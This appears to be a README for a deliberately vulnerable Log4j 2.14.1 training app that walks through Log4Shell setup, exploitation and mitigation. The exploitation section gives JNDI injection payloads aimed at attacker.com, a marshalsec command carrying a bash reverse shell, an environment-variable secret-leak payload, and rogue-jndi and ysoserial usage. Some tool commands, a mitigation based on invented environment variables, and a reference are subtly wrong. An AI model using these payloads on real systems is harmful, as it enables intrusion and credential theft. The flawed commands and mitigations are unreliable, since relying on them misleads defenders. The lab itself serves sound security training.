Educational demonstration of the Apache Log4j Remote Code Execution vulnerability (CVE-2021-44228)
This project creates a deliberately vulnerable Java web application using Log4j 2.14.1 to demonstrate the Log4Shell vulnerability chain, exploitation techniques, and mitigation strategies.
- Vulnerability Overview
- Project Architecture
- Prerequisites
- Installation & Setup
- Running the Application
- Vulnerable Code Walkthrough
- Exploitation Examples
- Technical Details
- Mitigation & Patching
- References
Severity: CRITICAL (CVSS 10.0)
Affected Component: Apache Log4j 2.0 - 2.14.1
Type: Remote Code Execution (RCE) via JNDI Injection
Discovery Date: November 24, 2021
Public Disclosure: December 9, 2021
Log4Shell is a critical vulnerability in Apache Log4j that allows unauthenticated remote code execution (RCE) through the logging framework's unsafe handling of JNDI (Java Naming and Directory Interface) expressions.
An attacker can inject a specially crafted JNDI payload into any logged user input. When Log4j processes this input, it interprets JNDI syntax (${jndi:...}) and initiates a lookup operation. This lookup can be redirected to an attacker-controlled LDAP or RMI server, which serves a malicious Java class that gets instantiated in the vulnerable application's memory, leading to arbitrary code execution.
- Zero Authentication Required: The vulnerability exists in the logging layer, accessible before authentication
- Widespread Dependency: Log4j is used in millions of Java applications worldwide
- Easy to Exploit: Simple HTTP request with a payload in any user-controlled input
- Direct RCE: Leads directly to complete system compromise
log4j-vuln/
├── Dockerfile # Multi-stage Docker build
├── Dockerfile.build # Alternative build (uses maven builder)
├── pom.xml # Maven configuration
├── src/main/
│ ├── java/com/vuln/
│ │ └── LoginServlet.java # Vulnerable servlet
│ ├── resources/
│ │ └── log4j2.xml # Log4j2 configuration
│ └── webapp/
│ ├── index.jsp # Login UI
│ └── WEB-INF/
│ └── web.xml # Web application deployment descriptor
└── target/
└── GreatPower.war # Built WAR artifact
- Language: Java 8
- Build Tool: Maven 3.9
- Web Container: Tomcat 9.0
- Logging Framework: Log4j 2.14.1 (VULNERABLE)
- Servlet API: 3.1.0
- Containerization: Docker
- Package:
com.vuln - Extends:
HttpServlet - Mapped URL:
/login - HTTP Method: POST
- Vulnerability: User-controlled input directly logged
- Modern responsive login UI
- Submits POST request to
/loginendpoint - Displays error messages from query parameters
- Servlet version 2.5
- Maps
LoginServletto/loginpath - Sets
index.jspas welcome file
- Configures Log4j to output to console
- Sets logging level to INFO for application logs
- Pattern includes timestamp, thread, logger name, and message
- Configures Java 8 compilation
- Defines vulnerable Log4j dependencies (2.14.1)
- Sets up WAR packaging with maven-war-plugin
- Docker: 28.0+ (or newer)
- Git: For cloning/version control
- curl: For testing endpoints (or any HTTP client)
- Java 8 JDK:
java -versionshould show 1.8.x - Maven 3.9+:
mvn -versionshould show 3.9.x
- Disk Space: ~3GB (for Docker images and build artifacts)
- Memory: 2GB+ RAM
- Port 8080: Must be available (or modify docker run command)
cd /Users/brand/Documents/GitHub/defcon_vulnerable_log4j/log4j-vulndocker build -t webserver -f Dockerfile.build .What this does:
- Uses
maven:3.9-eclipse-temurin-8as build stage - Runs
mvn clean packageto compile and createGreatPower.war - Uses
tomcat:9.0-jre8as runtime base image - Copies compiled WAR to Tomcat webapps directory
- Exposes port 8080
Build Output:
#14 exporting to image
#14 naming to docker.io/library/webserver:latest done
#14 DONE 0.1s
docker images | grep webserverExpected Output:
webserver latest <image-id> <size> <created-time>
# macOS
brew install maven
# Linux (Ubuntu/Debian)
sudo apt-get install maven
# Verify installation
mvn --versioncd log4j-vuln
mvn clean packageWhat this does:
- Cleans previous build artifacts (
target/directory) - Compiles Java source files
- Runs any configured tests
- Packages compiled classes into
target/GreatPower.war
Expected Output:
[INFO] Building war: .../target/GreatPower.war
[INFO] BUILD SUCCESS
docker build -t webserver -f Dockerfile .docker run -d -p 8080:8080 --name log4shell-app webserverFlags Explained:
-d: Run in detached mode (background)-p 8080:8080: Map host port 8080 to container port 8080--name log4shell-app: Name the container for easy reference
Output:
a3b5458dc1a7d455c513d73ede7fa9e513873cbecb8ca394cae618045b455da2
(This is the container ID)
docker ps | grep log4shell-appExpected Output:
CONTAINER ID IMAGE COMMAND STATUS PORTS
a3b54... webserver "catalina.sh run" Up X seconds 0.0.0.0:8080->8080/tcp
sleep 3 && curl -s http://localhost:8080 | head -20Expected Output:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>NexaCore Portal</title>
...Open: http://localhost:8080
You should see:
- NexaCore Portal login page
- Modern dark-mode UI with gradient background
- Username and password input fields
- Sign in button
File Path: src/main/java/com/vuln/LoginServlet.java
package com.vuln;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class LoginServlet extends HttpServlet {
private static final Logger logger = LogManager.getLogger(LoginServlet.class);
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
String username = req.getParameter("username");
logger.info("Login attempt: {}", username); // <-- VULNERABLE LINE
resp.sendRedirect("index.jsp?msg=Invalid+credentials");
}
}Line 18: logger.info("Login attempt: {}", username);
Why This Is Vulnerable:
- User Input Directly Logged: The
usernameparameter comes directly from HTTP request with NO sanitization - Log4j Message Interpolation: The
{}placeholder is filled with the username value - JNDI Expression Processing: Log4j 2.14.1 automatically interprets
${...}patterns in logged messages - Unsafe JNDI Lookup: When
usernamecontains${jndi:ldap://attacker.com/Evil}, Log4j attempts a JNDI lookup
1. Attacker sends HTTP POST to /login with username="${jndi:ldap://attacker.com/Evil}"
2. LoginServlet.doPost() receives the request
3. String username = req.getParameter("username") // Contains JNDI payload
4. logger.info("Login attempt: {}", username) // Passes to Log4j
5. Log4j 2.14.1 detects ${...} pattern
6. Log4j initiates JNDI lookup: jndi:ldap://attacker.com/Evil
7. Attacker's LDAP server responds with serialized Java class
8. Log4j deserializes and instantiates the class
9. Class constructor contains arbitrary code
10. Code executes with Tomcat process privileges
File Path: src/main/webapp/WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
version="2.5">
<display-name>GreatPower</display-name>
<servlet>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>com.vuln.LoginServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>Configuration Details:
<servlet>: Declares the LoginServlet class<servlet-mapping>: Routes HTTP requests to/loginendpoint to the servlet<welcome-file-list>: Servesindex.jspas root URL (/)
File Path: pom.xml
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version> <!-- VULNERABLE -->
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version> <!-- VULNERABLE -->
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
</dependencies>Dependency Analysis:
log4j-api 2.14.1: Provides logging APIlog4j-core 2.14.1: Implements JNDI lookup functionality (the vulnerable code is here)javax.servlet-api 3.1.0: Provides HttpServlet, provided by Tomcat at runtime
Vulnerable Code Location in log4j-core 2.14.1:
- Class:
org.apache.logging.log4j.core.lookup.JndiLookup - Method:
lookup(String key) - Issue: No validation of JNDI URIs before performing lookup
File Path: src/main/resources/log4j2.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration packages="org.apache.logging.log4j.core">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{ISO8601} %-5p [%t] %c{1} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="INFO">
<AppenderRef ref="Console"/>
</Root>
<Logger name="com.vuln" level="DEBUG">
<AppenderRef ref="Console"/>
</Logger>
</Loggers>
</Configuration>Configuration Breakdown:
<Console>: Outputs logs to stdout (visible in docker logs)PatternLayout: Format of log messages%d{ISO8601}: ISO 8601 timestamp%-5p: Log level (INFO, DEBUG, etc.)[%t]: Thread name%c{1}: Class name (short form)%m: Message (where our vulnerable input goes)%n: Newline
Important: This configuration enables JNDI lookup processing by default in Log4j 2.14.1
Objective: Confirm that user input is being logged and visible in container output
Payload:
username=testuser123
HTTP Request:
curl -X POST http://localhost:8080/login \
-d "username=testuser123&password=anypass"Expected Log Output:
2026-04-10T09:51:48,312 INFO [http-nio-8080-exec-1] LoginServlet - Login attempt: testuser123
How to View:
docker logs log4shell-app | grep testuser123Why This Matters: Confirms the logging chain is working - the first step in exploitation.
Objective: Demonstrate that Log4j 2.14.1 processes ${...} expressions
Payload:
username=${java.version}
HTTP Request:
curl -X POST http://localhost:8080/login \
-d "username=\${java.version}&password=test"Expected Log Output:
2026-04-10T09:52:17,532 INFO [http-nio-8080-exec-2] LoginServlet - Login attempt: ${java.version}
What Should Happen:
- The
${java.version}is logged literally (Java version would be resolved if message format used string interpolation) - This proves that
${...}syntax is recognized by Log4j - This is the signature vulnerability behavior
How to Check:
docker logs log4shell-app | grep "java.version"Why This Matters: Shows that Log4j recognizes and attempts to process ${} syntax, which is the foundation of the JNDI lookup vulnerability.
Objective: Simulate the actual exploit by sending a JNDI LDAP payload
Payload:
username=${jndi:ldap://attacker.com/Evil}
HTTP Request:
curl -X POST http://localhost:8080/login \
-d "username=\${jndi:ldap://attacker.com/Evil}&password=test"Expected Log Output:
2026-04-10T09:52:22,579 INFO [http-nio-8080-exec-3] LoginServlet - Login attempt: ${jndi:ldap://attacker.com/Evil}
What Happens in the Vulnerable Environment (if attacker server existed):
- Log4j detects
${jndi:ldap://...}pattern - Log4j calls
JndiLookup.lookup("ldap://attacker.com/Evil") - JndiLookup creates
InitialDirContextwith the LDAP URL - LDAP connection is established to
attacker.com - Attacker's LDAP server responds with serialized
LdapEntrycontaining:- Reference to a malicious Java class (e.g.,
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) - Bytecode for arbitrary command execution
- Reference to a malicious Java class (e.g.,
- Log4j deserializes the response
- Upon deserialization, the gadget chain is triggered
- Arbitrary command executes (e.g.,
bash -c 'id > /tmp/pwned')
How to Verify:
docker logs log4shell-app | grep "ldap://attacker.com"Why This Matters: Demonstrates the exact attack vector - JNDI lookups to attacker-controlled servers.
Payload:
username=${jndi:rmi://attacker.com:1099/Evil}
HTTP Request:
curl -X POST http://localhost:8080/login \
-d "username=\${jndi:rmi://attacker.com:1099/Evil}&password=test"Note: RMI is an alternative to LDAP for JNDI lookups. The vulnerability works the same way.
Used to generate malicious LDAP/RMI responses:
java -cp marshalsec.jar marshalsec.jndi.LdapFactory \
"bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'" \
> /tmp/Exploit.classPython tool that runs a malicious LDAP server:
python -m pip install rogue-jndi
python -m rogujndi -c 'touch /tmp/pwned' 0.0.0.0 1389Generates serialized payloads for gadget chains:
java -jar ysoserial.jar CommonsCollections6 'id > /tmp/pwned' | base64User Input → HttpServletRequest → LoginServlet.doPost()
↓
String username = getParameter("username")
↓
logger.info("Login attempt: {}", username)
↓
Log4j MessageFormatter
↓
PatternLayout applies pattern
↓
Lookups in message detected (${...})
↓
JndiLookup.lookup() called for ${jndi:...} patterns
↓
InitialDirContext created with LDAP/RMI URL
↓
Remote directory lookup performed
↓
Remote object reference received
↓
Object deserialization
↓
Gadget chain execution (RCE)
↓
Output appended to Console
JNDI (Java Naming and Directory Interface) is a Java API for accessing naming and directory services:
-
Supported Protocols:
- LDAP (
ldap://) - RMI (
rmi://) - CORBA (
corba://) - DNS (
dns://)
- LDAP (
-
Context Creation:
// This is what JndiLookup does internally
InitialDirContext context = new InitialDirContext(env);
Object obj = context.lookup("ldap://attacker.com/Evil");-
Object Reference:
- The remote server returns a serialized object reference
- The reference points to a class to be instantiated
- Log4j deserializes this reference
-
Deserialization Attack:
- When the object is deserialized, constructors/methods are invoked
- Gadget chains in common libraries (commons-collections, spring-core, etc.) chain these operations
- Final gadget can execute arbitrary code
A gadget chain is a sequence of method calls triggered during deserialization that leads to arbitrary code execution.
Example: CommonsCollections Gadget Chain
ObjectInputStream.readObject()
→ HashSet.readObject()
→ HashMap.put()
→ HashMap.hash()
→ LazyMap.hashCode()
→ LazyMap.get()
→ ChainedTransformer.transform()
→ ConstantTransformer.transform() (returns Runtime class)
→ InvokerTransformer.transform() (calls getMethod)
→ InvokerTransformer.transform() (calls invoke)
→ Runtime.getRuntime().exec(command) // ARBITRARY CODE EXECUTION
Key Vulnerability: In Log4j 2.14.1, the following conditions align:
- No Validation:
JndiLookup.lookup()doesn't validate the JNDI URI - Automatic Processing:
${...}patterns are processed by default - Protocol Support: LDAP and RMI are supported by default
- No Gadget Filtering: Deserialization happens without filtering dangerous classes
- Early Version: Log4j 2.14.1 (released before the vulnerability was known) has no mitigations
Attackers can also exploit environment variables and system properties:
# Read environment variables
curl -X POST http://localhost:8080/login \
-d "username=\${env:AWS_SECRET_ACCESS_KEY}&password=test"
# Read Java system properties
curl -X POST http://localhost:8080/login \
-d "username=\${sys:user.name}&password=test"
# Read properties from log4j configuration
curl -X POST http://localhost:8080/login \
-d "username=\${log4j:configLocation}&password=test"Note: These demonstrate information disclosure, not RCE, but can be chained for full exploitation.
Add JVM parameter when running:
-Dlog4j2.formatMsgNoLookups=trueDocker example:
docker run -d -p 8080:8080 \
-e CATALINA_OPTS="-Dlog4j2.formatMsgNoLookups=true" \
--name log4shell-app webserverdocker exec log4shell-app bash -c \
'rm /usr/local/tomcat/webapps/ROOT/WEB-INF/lib/log4j-core-2.14.1.jar'This completely removes JNDI lookup capability.
Set environment variables to prevent common RCE payloads:
docker run -d -p 8080:8080 \
-e LDAP_ALLOW_ALL=false \
-e RMI_ALLOW_ALL=false \
--name log4shell-app webserverOriginal (Vulnerable):
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>Fixed (Patched):
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.17.1</version> <!-- Or higher -->
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.1</version> <!-- Or higher -->
</dependency>Patched Versions:
- 2.17.1+ (Recommended minimum)
- 2.18.0+ (Additional hardening)
- 3.0.0+ (Latest with all mitigations)
mvn clean package
docker build -t webserver -f Dockerfile.build .
docker stop log4shell-app log4shell-app log4shell-app
docker run -d -p 8080:8080 --name log4shell-app webserver# This should NOT trigger RCE in patched version
curl -X POST http://localhost:8080/login \
-d "username=\${jndi:ldap://attacker.com/Evil}&password=test"
# Check logs - should show literal string, not attempt lookup
docker logs log4shell-app | tail -5Expected output after patching:
Login attempt: ${jndi:ldap://attacker.com/Evil}
(No JNDI lookup attempted)
Sanitize user input before logging:
public static String sanitizeInput(String input) {
return input.replaceAll("\\$\\{", "").replaceAll("\\}", "");
}
// Usage
String username = sanitizeInput(req.getParameter("username"));
logger.info("Login attempt: {}", username);Use structured logging instead of string interpolation:
// Instead of
logger.info("Login attempt: {}", username);
// Use
logger.info(new MapMessage()
.with("event", "login_attempt")
.with("username", username)
.with("timestamp", System.currentTimeMillis()));- Block outbound LDAP (port 389), RMI (1099), and DNS (53) traffic
- Implement egress filtering on firewalls
- Restrict outbound connections to known IP ranges
Implement Web Application Firewall rules:
Block requests with patterns:
- ${jndi:
- ${ldap:
- ${rmi:
- ${dns:
Log and alert on suspicious patterns:
# Alert on JNDI payloads
grep '\${jndi' /var/log/tomcat/catalina.log && echo "ALERT: Log4Shell attempt detected"
# Monitor for RCE indicators
ps aux | grep -E 'bash|sh|nc' | grep -v grep- Apache Log4j Security Announcement: https://logging.apache.org/log4j/2.x/security.html
- NVD Entry (CVE-2021-44228): https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- CISA Alert AA21-265A: https://www.cisa.gov/news-events/alerts/2021/12/10/apache-log4j2-remote-code-execution-vulnerability
- Understanding JNDI and Naming Services: https://docs.oracle.com/javase/tutorial/jndi/
- Log4j Lookup Documentation: https://logging.apache.org/log4j/2.x/manual/lookups.html
- Deserialization Gadget Chains: https://github.com/frohoff/ysoserial
- ysoserial: https://github.com/frohoff/ysoserial (Generate gadget payloads)
- marshalsec: https://github.com/NickstaDB/marshalsec (JNDI exploitation)
- rogue-jndi: https://github.com/feihong-cs/rogue-jndi (Malicious LDAP server)
- log4j-scanner: https://github.com/knownsec/log4j-scanner (Detection tool)
- CVE-2021-45046: Additional RCE via thread context
- CVE-2021-45105: Denial of Service via thread context
- CVE-2021-44832: Remote code execution via JDBC deserialization
docker logs log4shell-appCommon causes:
- Port 8080 already in use:
lsof -i :8080 - Insufficient disk space:
docker system df - Corrupted image:
docker rmi webserver && docker build -t webserver .
Ensure log4j2.xml is in classpath:
docker exec log4shell-app find /usr/local/tomcat -name "log4j2.xml"If missing, rebuild image.
Check that logging level is INFO or DEBUG:
docker logs log4shell-app | grep -i "info\|debug"Verify LoginServlet is being reached:
docker logs log4shell-app | grep "LoginServlet"Check Maven dependencies:
mvn dependency:treeVerify internet connectivity for Maven Central:
curl -s https://repo.maven.apache.org/maven2 | headThis project is designed for:
- Security Training: Understanding real-world RCE vulnerabilities
- Penetration Testing: Authorized testing and remediation validation
- CTF Competitions: Capture-the-flag style security challenges
- Vulnerability Research: Studying exploitation techniques
- Defense Strategies: Testing detection and mitigation controls
Always use responsibly and only on systems you have authorization to test.
To stop and remove the running instance:
# Stop container
docker stop log4shell-app
# Remove container
docker rm log4shell-app
# Remove image
docker rmi webserver
# Remove build artifacts
cd log4j-vuln
rm -rf target/This project is provided for educational purposes only.
Last Updated: April 10, 2026
Tested Against: Log4j 2.14.1, Tomcat 9.0, Java 8, Docker 28.5.1